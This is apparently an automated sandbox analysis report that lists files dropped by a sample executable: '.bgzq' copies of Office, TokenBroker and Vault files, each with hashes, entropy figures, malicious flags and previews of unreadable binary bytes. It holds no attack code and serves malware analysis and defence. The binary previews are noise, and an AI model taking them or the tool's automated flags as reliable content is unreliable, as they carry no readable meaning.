Preview:	<?xml/v....{3..}...}`..{...,RTL...".u.....}....t..`.....Z.m.....ll..............1.7.D....WB......b...R...#..hd.^...-.U........a...l.`..Q..{.0......;......=.A....[."15$....Ant..Qu...e....B6.{.(.]&.y.(;.c;2.RT..Dul....GE....T.1.Y,$.?..~1>...!=..,.....;px.^+...3Ac.]..c.f9h@V.....P......\#;.o....EW..?...E....5 ~.ra..Tg...e..!.mp..f.......w......C..u...d.......0...2g..:..>^.ci.t<`.4......G.ShB.%/..JB....H..N....p.n.sv.$....../....k.[.8^....6:C.Z.o...iK.x.].....`.p......Z.4.?...Z...o....I.xs...q..t*LS:o........\C.IM.>.H.E..C....Xp..O..0t.u.MR....Q.... r..7....j..!.....< .5)..ct......W'.D.?.9-.0......"...........Bt.`....X%..,fk.W..V./d.L9..g...S&?b...M....a./...".T:.6....S{..CT...........5~.4f.t..F{.'..w.....X..Ep....Z..4..f.L#.\|#.\.ij...I..#..h._...Jj..+!.x.....3.Y...r..........W?C......d.....=.._M[..K"...p.y.x...2.Z.A.....V..[..&..tt.$..P..5......_.[.t:. ,B3.8....7 ...'@..P.\JB%.....+.5..~6...\|.I........2t...L.^+...z......}b..h....c.wH7.....

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.828571488230226
Encrypted:	false
SSDEEP:	24:nXMnYUIlRmLwQhwHxj0yPLVJKgMhLsrqxny1h9r0VbD:nXAYF6MQhsjZPJJKr6qxy1h50FD
MD5:	EDCA3A574A78CB47170597E87F215163
SHA1:	191935DC9D781BA4F70A49C428BB2BB6CE4D6B14
SHA-256:	1F431641CAC2F9A2C768617F1DEF89761B4D8BE4BA6D542657FF81F30D25B9CE
SHA-512:	E9A251A838376B88B26CDFD867E3D1F3553943707A73233EA804C7F2AF22F06B80E137834C1DD7465CBAF7B511F1ADD4B409C8D837CE3C5BA748936F51852905
Malicious:	false
Preview:	1.1.9t..i..y......FC.%..c.a..]3.'A.z.......e..y.x...WI.s.?...u..........Q...o.+..._.(.3.<V...b.9x...8...@..7[...S.....NE....P.h....S..!...rq.C.Bn/.,..........#..6..].l..)D\../...m......R...$.\.S^....x..>....M.....!........T..\...W.2{.... L;o_Y.P.f..A.Lp..a@_.t.i..[.e..x.... }i..p....;....Z...F5G......R...L$jc..X?.......:!...l..\|...V?....&..s...../.h....o.....(}h%n...j.M..1>....e..=.F;..,...,...#.^..d....UJI..b.(op.a.Y....Y...m.Y....t...=t.g.T.z5...r..)......$...r..K...D&.i.^.....}....Vl.~.Vbf..q..._Pm..pU?.......mz.....6a..iR~.$.Q..c...^...+.X..^@.e0.G...9E..Q.I.....].5)..o.P......."....[...F6RF.6.:...]j/~}..7kwB.o....z(vr.fblQ...>qp.^S2P.i..].......D}...L.g%.K\|.R..){..3L@.i<..v(e<.g..M!o.....X..#.lM...X.t..8q..`...m..+#.U..,.,.^...^-Xl..D.Z.D.x.h.6@.@...@....F.D...4Qn....+!i.lF.D.J.G.C.......r...@9.7........%.4...e..y...c@a...[.*K.tE/...Ds..A....s......s....X....w..+...$.....F..:..Y.D}`.'....}.a@u.)Um.........\a..r..1..

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.819036201967768
Encrypted:	false
SSDEEP:	24:0ZwJFfTRxpKKQKXBc8vHBoQhF2qL4mCCZAnIAptHPIHrnZIcVbD:0ZwJFjb/XSNUw/HPILZIcFD
MD5:	922492763C94AE8224F1B1B5F9359C48
SHA1:	4FF14DFA35C8EAD7432FC022BA6273374473CBAB
SHA-256:	1FA9B925C085BE868C2057ED5CBC55F606AAA5BCE10BD5B2B330D143EEBDDAEB
SHA-512:	4976C517031635F62D3411BE933B59934DE8E09B1E517673C999E7BE44817B04921DC14539A90AEDEC5C84577C4B40A54D65D286114807C7A6D6E006FC8D2E66
Malicious:	false
Preview:	1.1.9.o...w..x..'[..P....ToZ.B}.t......-4$...Ta.k.....@vw.MY.....1.sv..d d.t}fQ.8t...x.s..d&.?.k.g#..\..X...I.Wt.s.M@2jP>...ST...kgO.H....D#(U:.\z..=...........<.gg..KY}..h=...."..V.....5.x}<+iec.QA.H........... .,.{H3...3..qn..U>.v..5....~j.8.+..Z.9..!...E.0.H...(j...f.."H..O..t..[]..S(.5....)(.p...(..9.u..o..xpF..edD1......1T..i..O.Z}#G.Gr.........0..!...S.tC......6;y..^....t.K...o.......4.WS.....61...X..]-W..t...A/..cW.Mi..U.<....'u..4..r...i.q.7".....m8.4......d.7...-.k.,...`v.w.S......v..h.. ........'K...9,/.Z.mN"[.zw.u....Y....I............UR.5....F.T7..I.FGs....YN..{..wmeT..-A.I@%s.+x...a..$_..y.\|4.`....,&>].V..A..v...fU.>EB..3.M.MXV\|qc.5..#.?..&.........tm..Oa5V9. $3z.v...[%.d.. {...h.>@..;'...........d{.u.."..XNQ..5@.k..."g......!...p..[....u.....~Z`....V.[..[O.....3..N#FT..e..(.q.g.E.....\|?.B..8.".)..b....@Cg.t9.v.f^.?<.L~.x.z.8X.\..s.!...H..]C.;:!W.E.N=.. '_R........*...1.oQ(.Uv].B..{.{r...@$ ....(...Y..ZI...c.#R.:.Z....W..

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994618161002203
Encrypted:	true
SSDEEP:	768:P9tsAVSlMv6mBgefhy8/UzkcXbn1zvIVLWR8sjkHwM+G9nnwe3ZYB34+w7D4h7:P9tLVSlmeGR/UYcrdFXjkHwu9nwIY1Yq
MD5:	49EE59D8C62EA604983F937CE566328C
SHA1:	1E2573A187A53A2730E6D2E14FE1220E6D072C7C
SHA-256:	1E436260612A2C0356262C68C1C0D3D1BD49A77BAC6EBB347DD99FA113D61611
SHA-512:	EB92EBBDB11CCEA10F885D073E6DBAEE51E842C9075DF6590D1E32F5566180AD0AC123CB93DC0D2C29C769FC528E05A07661B3ACB9BAF103FBCEC5F4FA925076
Malicious:	true
Preview:	SQLitAE.P..x....G.."...I......U$.....kE...H........r..l...DY.x.BE&.j..?..5...g.L..a]..i.}.%({.4B.X.......6.Z.E.`....k.d^........$..jb.'5....X.2../{.Y..u...E.......}ew~.....{&]y.:...#..d.A...I.,...B...I(...U.>R.cDP.m..UvR.....\..Y..-.;....>9......?.m...9VVc ...q.]...?.cj.v.?.....m...U).Y...........LCv.tX!;...{.G.u.t.]..u..<.p...sT.i.......-n!h.U...oK......h.aDE..^).X....)_...............u.u&..V.X...2...ia.J...P.f..o.L.S..J.}..ce..~.$..F.<..+....s.&.$t.3.K..$..e. .0......A.....q=.,..r.@:...H./Q.9.y.6%.R...t.9.(..{.ns../.x...U.h...W.4I..].h....z>._.<..b.t....<..T..AN6..Xi..).+.'...m_.\n.5\.n.3.x.%....;....`P......../W.<.t.]...zq.......!.u.........A.-.]..3.&.r......../........,?$b.5.. .....W..2.......?.7...q..\|e.Q)".p.F..2^.j....^.......f..K...^8I..Y..Nk.e.r.^..S.5.....]VJ.T..7....5..f.;...?\s..E...N..T...;..N.V..1...<J.......a....I..8{..V...y..{..."..Da@..4%6...L..3...m.F<d..g..%....`.P3..t.H.....a..{.H.Y..p.n^$.f...Rv.P....

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.99020555347297
Encrypted:	true
SSDEEP:	384:ElYZWNLBvcfSQ8CJGu4ONYmK7CfJTWPv1KpUfZRKxucsZ91lz:8WsvESZlrONYmKWRu1hRKxs9/
MD5:	9A11C5EB24A6A18BF3B382FDF677912E
SHA1:	5E3546DD6E4794894482F2BD1F126952741599B4
SHA-256:	2DC47E5BD873061FA886A01A9E901E2956F4C217298C3547D21C15164DDB6749
SHA-512:	1A68EEF7B590191A73E3837A2AD75A4FC5FD539CD66D9A781E7F6184CA510AB996A12BC631A7F1E378CF0E9E502A9FD7528703A2575CA8097C76F1C7249B6E87
Malicious:	true
Preview:	SQLit....>xT.X.-.N5.>....X..."H\.T...Z..........\..T.O.#\....U.lQ{.9.............l...e....v..i.h..:..L.\7.1.'...E..%=b..>R.\..ub.4....G............\|........G.D....x!-....I?.$b.RQ..3d{..h.A.(.."K.....t5..zP.Z w.9.Q5R.....s...4.-..U..k.H..?.A..U}{....iuQ....q?........4.(.9>..UZ.J....?...$-4..B...<......RV,.c...l.....fQz~kJ....)..&9..UW...tc..T.A.K.;........bh.D..r.zT.P.+X...Y..3G.X..+..i.R.CAl/.+...../.&c./.a.W.f<...`2..\n.....n....w..../..-..W..Qj.vt..'....... .B..H..#!2&...c...Z.:!...."V.;...P..].p..'3TS.P.Q.....W.F.m.].....,.......n.TL........OjH.L..M........U.9...R$.....m...X.`......W....x..5.........l.x)..^D.ZD.l..!E..h....l..\E.m"...i.M..]........(.7VX..\.r..S_..\|~\|c;.zP.V.q.vXp..t..A$$.\J.....o.....X5..f..d.{...,7#...Nv...xLS.&.q..{0B.....Y...DK.5..1..65.YD.n.P.....&e.K.."l.........s..s&\?..R......x.n...i.i.....b@p}.Vy.6.P...w.X.FY/.....S.......2j..Z/.."..#s...P.......2..bn..@..r.%J..a.q..x".....{.}..@........... ..Z..o..6+.[-...E.a

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993016681906629
Encrypted:	true
SSDEEP:	384:RLRbggWFFQrUf6I2K8uB+qYPGDIFVD0gEeY/otDkQhpSkazLY9GwsnrY3dHakIe1:NRYFPB82c5FVDTbYM/ujLEqrWdYQ2+
MD5:	5F34FC38AF00C4140252768A6900F928
SHA1:	9F38C28A77CB4B22E7F20814A2B7CA29B0CF9CD9
SHA-256:	C2C57B587DF65AFC3BD47E3E281B254DBD0D3E19958B86F6873BB98BC4686A37
SHA-512:	07AF664D24258B76C94189D52870CD58B9E095F8C13CAD80B6A53479A53EF3F76AA3C73518B959264D006FC0B28A45117A32C6117F6C3487844D2BA15B1D96F4
Malicious:	true
Preview:	SQLitg.....e..i+2.s.mX.V.....Q#&,.....>.^.,...vG#^...it..qnIm..,....YiCo..1\|0:..J'.~......M.......F\G,.....r..zc...MP...-6.[....\..hR=Uq! a.7..%Rit.?..J....v..Pz0.c.+R....k.8>...P.r...WS1vI.qA..).1.^.<..M.=..$5cTS...d......~4O.....-....]..Ez..m0.W.DfW..]Q?...Gd._.n.&..~:3U..ql..6..9..E.HW5,...3a.pA..\.....1<.9...C..j..aK.m_m}.t. CU.`..J....4Xw.w.%.r....ce<s..s.3tc..n..w?....wGr...7:"....>..V.?.q8..,>&\.\|...,.bE+....y<..%../.u.....[2\.JA........iiI.......s...`.a...^.v".).._x.Z...2.... ...FgA.9.>6...i../..w...86a.$).i...:.0..{..E..j...._...c.C...E...y..D..W....^2...f......c/.]...O.3..<./C...].Z.L8L...........U.f..2\|K....@1.]....[..)."+m?.9.UW.....[..;a..Q....O...d.V.....GT..6.8.;t\|.$.b.7b:..*'R....T.?..o.s R~Hyv.z......\...W[...>....$n..)(Aq=]2..dP.S...b..:........v...6.......\|.w../.%.W...G.Fs..[.[.0.n~.d.....~,....>.xy.......M..{.g...E..tZf..<mJ.!.M..A.m,.BL./....r...S.w......D.Q......dg....WBJ..}.a]..n.5..{c4#.r..mj. ,..M0<..>l..u .I..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993264202536292
Encrypted:	true
SSDEEP:	768:EYH/baNO+2bu8SIJBP2d4QfBaeckSkUjy9+PwkCglRg8Gd:EYH/KO+2buPcBPgL2GEPwkhod
MD5:	40A677D797A7E8CF48DFD7B62DBCBC9F
SHA1:	A7F7479C16785B05D20CABA0E2F7E18C9FC2BEB7
SHA-256:	A048BEFCCFDFDA5A5C2B49EA89B229EB6AA20AAFB1F747567C5CBD4CA49ECFE2
SHA-512:	32513CFDAF74F91E4F4C8456E3512A46FF6D024270FC59331831DDF6D5123DCF397F3DE281B3A5EBB4A12AC63073117446B9C920247854B2B1BA0F061E034C2F
Malicious:	true
Preview:	SQLit.a..%..C......nbx`....}.......g.[J.......k+R..7._.q2.}.W..uU..G....o....p2".\../#\|........V...o.\....!..S..L.=.>...x.HT`<&..=...!)...,.yn!.....Gw...@....o...v."......q.JM;.\|...[.r......c....;B}.....=.r-..]....#.?...7..:=.[y....NI.H..S....q.....ug2w......3. 'N0I..J..Y..........n.0-..;)X...oM.4yM..VjqqRy...c.2.c.!.....0[?^.W...7...0...)..l....6.......&...v.....a....8.?aGo....3....@.....`9.$..yWoIe_W:]...fW.TlY.]..[6d........H..V=tI......C..~.2....h4M....~J.m.......=e..@......^.U....".'...:..c.22^..i...j.M....2PZ.p.PV...Q...!........4;8.V..6.4Jy....].&.h..)..[..f.m.Uo{H]..d.W.....q....5..#/....v.....6J.(.n:.l?..:ii...'.2.O...z.$.....e+..\|..Z...5..W+.~..FX...187.b<m.&w.......{.).dG...\.....Z.:.&G.......(........J....#.T..!.R.3c=...5..O....g.hq.i]...X...u.f..M\....=.W..^. .....>dG..!Q:.g....B.N..W...AMX.E....\....14.u.......c./...K:...=6.....Q..y.'"',.b.;e.yGC.k..E.m..O....Q.$....z.f..Y....H.x .)....j.?...9#%.......u.c0...F.<...,+ G7..8..1

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.994051407748328
Encrypted:	true
SSDEEP:	768:ePAskT47WIs4W9gyIb5/VzUK3OYvjgrKUjh1o:ldILKgPDLvjg+Ujs
MD5:	1E0D4BBB1A703A6314EE13C8FB7F3D27
SHA1:	7B5E87A8A338C61D4C05A54D0880597C62E3C071
SHA-256:	CE7196B3F48E8103F587271DD29A618116CAB037944F6DD8D91ADDA1BA09931E
SHA-512:	AB5D4940B3111D25111EF4B4B16D29976281BBA3480E436A0D0D4C96E9C0ECCE4AD23AAC89423DD4D956B88F2718E5EA51910050E64BAADE8AA7813B42A74A7E
Malicious:	true
Preview:	SQLitT..n..L...P.:....B....o.7S,..\|...0.....j.Z.C@n.]1...}.lw....UfX.!I.....n.u.=E..ymH.. .u.WW9<..B.%...8.../{]p.=.f.\|..J!....I.hz.t..b..g..%F.p.. .....o..q.jn..34...k..:B.......i)..........\x.pYTR2.\.z......"T.H...I....P1...RWD.`....7.....C.y.U...&&....\|.../<.y.(.4...n.SY.h..@.~3g.......\|..O...1.0.%....W.....`.$.h...e./.[e`..7,#..".'A.yn......AQ....PF$.j.o.#J M:4..y...~9`.......d....Oq.H...i.........`.L}.o'.eU....A..~,.a..$..UP........2"@.iX..]S.m....)f}..].\.....zA<.3..o..\|..)....hF.....".^;..@.7y......K.........4.\|~D...'.{`G.i.....&...?/..d.,V..Cs.J..;`...\..`..S..h@._~6!...D.....9W@.L...Z!w..'.g...L".H...(.,.?.?.x...\|...u.....p...49B.-....SA....1Y......J..U...........7N....#.an..x....X+@....d...j..W-@.....6a..._.;.~...yk..c..:...#..8y..$..).P..(....??.1.~.1w.m.a...G/.V.6.Yp..'.P.......>..O+US.....%%s..t".2....9..cg....;..W..3AP..;......V7....[.5..H...:.NPJ..Z..v..x.j.o..j.w._....g(....T.Q)4x......[....a;........I.Q....U..!-....

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.832638474147302
Encrypted:	false
SSDEEP:	24:Y/u4v3N9fTSsppZIF2piAN6M/YPFfNukTa+JGPA5r5OSVbD:Y/uc0sppWFQiAEM/c1lKE5OSFD
MD5:	D86F241924B553C426A2D95860E17996
SHA1:	EBAED39236E0A132FCFF58614CD0513523C6382A
SHA-256:	D8F0C614339C09B2CB2A6CA7543D0E6113C502BE1B5D88BCF30E3C5DE436EE89
SHA-512:	D0667B1DF0437A023647F4CB83578A5CB098CDB6A46671686247CFA67371FF8FA7D712E17BB6BC665A0FC9A341C6153DC5730AA902D8F487C8A3E2E8AC78FB69
Malicious:	false
Preview:	{"Rec....N...,$. REk..}R...P.........{o..-......U....\|.........-b.W..'b.]va.G.az~w..n.".(\+8c........5}U..O.@6.0s.T...U.p5l.t5U1..............U....._._Q.H&..H..f.twZ\|...K0l.f.Z..8TC.H......_..".... 7.9.x.j......e..i...&B.U.R..........I.Q.sR1.ZG...6..U.A.,..!..NWg..h..<~.&..cSEKGF,1...........ci..M...Y>..Q.z..&...Y.P.;.&.F=D......4"..}..}..}..P.b..1(....E...2.....b.{.U...c.......%Se.z....k....FW?....k.".j....n..@.TO....!....7.Y.."k`C.?..:.'..1..=...(@6\|_..R..EKD.....@4.T@.S...Uc....x.~..vQ.......[..2]\B...lk..\6.s..Y.2......i..V......v'....6.h.;....+..9.O....W...TX.n................7%..\|...7C.l...5.....p..>Gt...0...c.)U1.u..".T..{`+[(/.....7>.............3..6...C.u.zp..;...=...QG.T[.F..A..-2..z. .Z.....-.....=..W..N.....LJ...G._.4..OZ...L.N...V..&?...O]...=....3...N..r.%:......W.....;.0..tk....W.....$....;.Q.3f."....*).s.1@g.......M3d.......n.A......W...+0...a.....Fc...#....o..I...~...8q......p..z.S.p9........._V\%.{.._..a.\..,.D

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.926102456840987
Encrypted:	false
SSDEEP:	48:oYAbK0zyFn/AtOGGuBDxmpJFmlbLmNyHkrqpABiQp3dcBqVomFD:oYA2OSItDG2DMRmlDHeqpOtp3dcBqVoG
MD5:	0E2CCDA030B0776844A5FEBACAA46C9B
SHA1:	45C4C79BA5C0B404693FF87FDC879792B0FA8AA2
SHA-256:	423782B2F28C74514883C610CBEF1BBBA6FC6303BB76687382970CCB44714138
SHA-512:	BDBC9B2055475B7840D80B0F98376340E6C2BDD8DEE6C793DDF7483BA495FF4AE363BCF2EF1F526475815BB4BBC5FB58877A060697B57980478444E241F1DBFA
Malicious:	false
Preview:	{.".T.<6."1..?.9.N._\|.B..n.:......2....O.f...nk.(..Q..;..).-t..U...e..[J..sNZ{W....wX.ux>@....7.T ...t.fk..D.......2.cS,..[:?.y..(=5.uY-U.Z..D(....`.j..#.DF.Q.....=.......f.!..\|...0zA...{...bt.[.....A.f.....B...o.<.6....3o..9}...[_.....C..h.{.....1.....c.v.......q...j...f..E\|I....R..e./.\|..s[..{...!...:.^..2z.=._]..Yy..g}.y\...\|?O.}....xP.z.. ....Uhg..~w.....~:.b..h..+.....=..=%.b~.;..7T.OD`.`...oE.4.s?......w.8.8w.......H.......i.=.&.l....A...B..]..\|mU%....]Ar..BD........qv1P...)....5D...&."..U..\|.o..C.^..<..I..q..Y<M.tH..(.......C....?.\|..(.6.2y.7.e.-A>^8Mp1..7..."T.X.'...A..1..........H.Zz...... ...q.M.=E..s.n........{/....:.W8..f.<...].[iv\|...-.Q.......}.......n.....L..8.I/...]?...f.r........H.a..=I.B_.t.J..8.^...M.(...,.M...W.q.}!G...,....W7.nR]..H...P...>....%.{...y...@Y.~Y...V.0....0...E.2.1."K.r.-...$_3UH.....=.....w..}8i...Ds...^.=4p<).,/.;.......J.i.AHbn.._.&/.]..qM..i.=..Vu.C.."....o..B.&F...Q..W.T..j.4@K.3....x.F.#...

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933203540637368
Encrypted:	false
SSDEEP:	48:2XOhAOc15h7rQ519zaNpgWBDAfx9qnmTJ7ws6KKKecd1DidgkuRkiL2vsASFD:28QK5rz0gWe9qUPyg1kgfr2vhS9
MD5:	46FE2FAA4F6658FAB96DDF86D008D57E
SHA1:	6952AA5EF9C432B01817D25B2D240829DBC1721B
SHA-256:	EE883034261EA785FE38F3E4DC2958D49C79D152B4DECB263EC933B784B51B1E
SHA-512:	B778F43EDB693AA24BA473F7C0977A7E23823460FE749F939937091AC34FCCCC92DC89BADF96A4735347DB37A69A8F004E3AEEE1B4B43B38B62DD2C05E970BD2
Malicious:	false
Preview:	{.".T...X.;S...`....T.... .#..[T.w..LU..e.........9a\|H.0F.g..uy.'........+.vd,^..,r{.........B.B..P\|..X..C..8..}...).S..f..%.A../.}.....gr.m.....]....6.2..1...g.;....ka.l......p...O.hf-..\(=............F.d.>:..~8.ncx....t3\7.W.............\|.G;..f...^.s..8....u....W...,.. ....v..V...n.i..\|.......i...2.t.K...9....5q...s..b^..,h..\d...S...pi.C..O..`..YS.y.8PC.....g..~............PF)..Am.D.L....xA....,2....-..-.mG....s...L.$..<9.O.@.-$^.O.n....gc.-.AO..7Q..5S.d.:...w..+.............)=.+AC.\..Wt..F....U..Z..`..r.....e........\......4.Il.M;..(...-..;..7V.....o...51...x.r.Z..I...R.5.:y.kWw.8Us.........k5(w.Z..O....5#....Al..".9./o.S;x.h(....J...S..^......&.w....C...A.3.Ez(..<.. ..v.A......>?.z.t5.]..G...G..p..b.?..d...c../u....M.>r.O..D..~..D.!w.[..+.c..^.Gr.../i..T ..P.-V5...x...I....~.x/1.........L.\|...t.....UZ.V..6$t.q...;....l..=V.LD\|.U..T...!..:`X.wo.....7.^....H..m..1..p..2Y..<s.?ay.S~..#.S..F.F..m4 ......c...,.\|eK<....Bs..W..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.962095153947071
Encrypted:	false
SSDEEP:	96:+f7LdpIWgYW+DuK8Y4FrTcmuWAFOorEXcJp/gB63FT9Vg9bhkmx0L9:+f7L/IWgZ+DuK8YirT5AhrNrI63FTrkK
MD5:	286950743D902E6B55AE633085F58441
SHA1:	EE27BAFCF675C7FC5F2A77216FBCB7D8ABEE1CC8
SHA-256:	D7FDCB5224AAF1B497987E01462773CF846F09CE4B0A2443169082BF15C68AC1
SHA-512:	5E661889F7400EEA477403A537BD2CFA89B9C8CDAD6537F0431B048A9688405072C11797AADF119559490BB43189E792C4463018BB87919683E30F7B4C4F9C6B
Malicious:	false
Preview:	{.".T....5I?A.]...T~WG./LM._..:.P.....g..>...o.(V{CD&.+8 t..)..+.+.Dm.A..g..k...z.....;CZ.aUy..4...=...W..A${..L..y..R.{ ._g.#....H...9.......7.h..t......$.!.O.....J.Ez3....6......(..m........a...5>b...ze.~.L1bX.....f%..D...[...,<...I.j%!0.V.._.'..(.......r....d.d7u+.U.Z...,a.'`^..e.k..O.6@L.....3..;..(....V....2......Do..(.,.W.. rN..@.}3....H-.........R.H...h%..Y..x'.R..>..%..N...b..".$..^.....\|.~.#)...WVy..B.^V.......K.fn1YG.7.e..d...,J...)...tsj...."..U.d.p...vAi...%.p\...C..!..D..\|.>G...D_Z.9.s+.v8ar..zK.....B...2.'.?....?H..@]......$@U....s.9ev4..l[..n9..s.d9.M .....* ...T.[.....n=mr....6,.5.Y....-.p....FO'...b .1...M....V...N...G...y.G..QB.....F...n...B.i.n.....KG....(.C\$.E.T.c.$...&J.....?..K.w.$bH.J..v...........J.....<9.V?..4).....\|..<.a..y...d.U.....^..2.....}.X...l,`&.k.+^..l.=ute..a].o..mJ@..9\_M...#X.d......;.9#L.Oa....z..%..8.1X....VJ..s..J6g......7.8.=.....$l.H.U...e./M.Kp.!..U..W.....Qg........bh.v...\|.LSF+..m(f

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937844903218355
Encrypted:	false
SSDEEP:	48:e5bs3kIiepLRwJSK/EQb630V0kbSqrfsoVQ1W576OD8I2crHWbtsWhP+usVN4FD:Is0Iiu2JSGeO2Qk1U6q/2mHWuN49
MD5:	E7D6C8D6B758B1B8D4CE8D833476F467
SHA1:	6B806FAB87FA920676DE2930CA81BCBA7AB1FE23
SHA-256:	011324F339A04A7D2284B82A53117FF0E83BEEDFB7530FDD8576AF2827FBE3CE
SHA-512:	B92A24F2B229CC4B0FBF7377A0023B0CA5378901F33E90108FAD0C3F6795D7D1648AF4C6B68FD84E45DFE67A568CEBB6E65B4F7941432021901C8E3F2A7C7D3F
Malicious:	false
Preview:	{.".Tj..:...,.........ZK..'.^...)8..<).n..Z....a.~.......hP^..>6.w.$-.P.d~....+.:Wq..._.........A.).Z5.l.......W....u...f?c.z..]x.Ld.1.......>.".x~.C./]...YR...X...]O.aa...7......s.s.......O..:...a..'3q...{,....9..f.<.Oj ..S..K ..5.a4...,e!.}..VF..#.v.......7.....N..Z.:(3..w.]....4....~.Y..TJ..).$.K.G!.3....(.....b....;.;..>z>:&..du.:..i`..........w......_p.Q..T.<.....m..........)!y.....}.5...#...jW..<...X.mc?..ck.B^x...A....8.=..8.._\|.5......x.~U.q/.9X#."..{.U....Om.*F.5.......<.......kwEu.g..O.T..........?.Nxt.1.....[Ilbi..].J..L...@3b.L.+6W.}?.1txG\.'0.ab...[...>-.EZM.CNg...tp..........G.VoPh7?H...n!n!.k..T..U.&.k....)9<.o.ox.].....-...#9....85............B.x'..:.t.$..P(D:>...=.A..\...J<..5.9..{{...k...o.7..JP.;...\|..%......mH.\..;.Q..w......E...A........s.....2.R.9.... ...J..u....MV..d....M7`.....(.l#.mp..{$......-U.0.Z...2..M..~PV.8P..Q.@lv.....V..?..2V...t.}.:....\|...]w..B...\i#..c~../cy/=""9.".........9.....%..Z.q\|./-....5+..A.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.908998087147564
Encrypted:	false
SSDEEP:	48:EudP+u7RkgZeTwHmDBDmbfcVdn7LGTxXQ7elbDqjhPoFD:EudPf5ZeTyUkfkd70xrlbDq9Po9
MD5:	78ABA406B92612B42BC88FC950472984
SHA1:	71CC2B009DEFFF1A8295DE55DE585971E45D5B96
SHA-256:	31F5D23223232142E0810CA478BF064F244EDEE53C55BC769E570F5AF8CA75BE
SHA-512:	2891ED2BE2A1A9909B29274F898D8A22E243F1A2A439FD4D2C5AE0D873414FCD2D8667408A1D391065F76B29753AAE7703FDD0503F1278064BEBFF1CAC693265
Malicious:	false
Preview:	{.".T.L..P..m._k\8.O.<......a.#.u..p..<.40.q.@w...wi,.=>.e?..f.k.1<.p....W.....VK...(.........^.......`:..%...D..>.@R....<....z-..22....S.....J_.C...o..[/.....R7....B.c.4._...q....B.6..a.<<\|o..=/B\.BMm..3E...>....-...,-... ..-..RPJ.A.F...~.._z......wy...6..9N..9w.uO..;._CpY...W\[....;.Nu.$.g..I.R..!...p5c.e.}...]..qD\|....Hu...+.A...\|A.o.8..$w.......![...... ._9#.k.[........@... xAw.R.)...Y..2.....k..]SF...$.G......2........g.5...........HC.iJ.-1..Ua0E\F....!\|.].../.>.3...v..I@O.y.)x.{..AiMk.....a...~.L.n..v=.A.............38....M.d.:^.wW.. ....>..A..g.........'7.<.dk..5.?..>.D..R+.3..tv\~.OM..PWi...O.k....x..el..N....?NA........x.x\&1".486...:t.^..y.]..z...a,1mA...y..pQ ...0.6v..pd.5..0...l$Y.3<.e.....L...N!E[m..crj..&..b...v..._:..T.D.k.....DD.>.(h..........pUzw.C.....Z...?.9..-............Ya.;.......8....._...yE.9.`..RV.?.3gI)........~2....-x...J.....p.........8.s.]'^.67...S...g,>.5.]..I.t=.3....h....m....8.7........;.a..:Q.>.......*.l.#

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.739281132785001
Encrypted:	false
SSDEEP:	12:Op8f02P2xoXCSA5MRh30kf4OxtB5CLGEtyxYC7csnpM0urX6FscudNC/1seMoej9:Op4TeS/wkAItQGaRky/PC/+ycVbD
MD5:	C8894424B48D012EF5A17A33455584ED
SHA1:	79376A77D01EC37A8FC0890232C6FBB94B76F00E
SHA-256:	DD42E23F23395BB67EAF09668D7087B13F5A6638357A9571AE769750FE4BD3C6
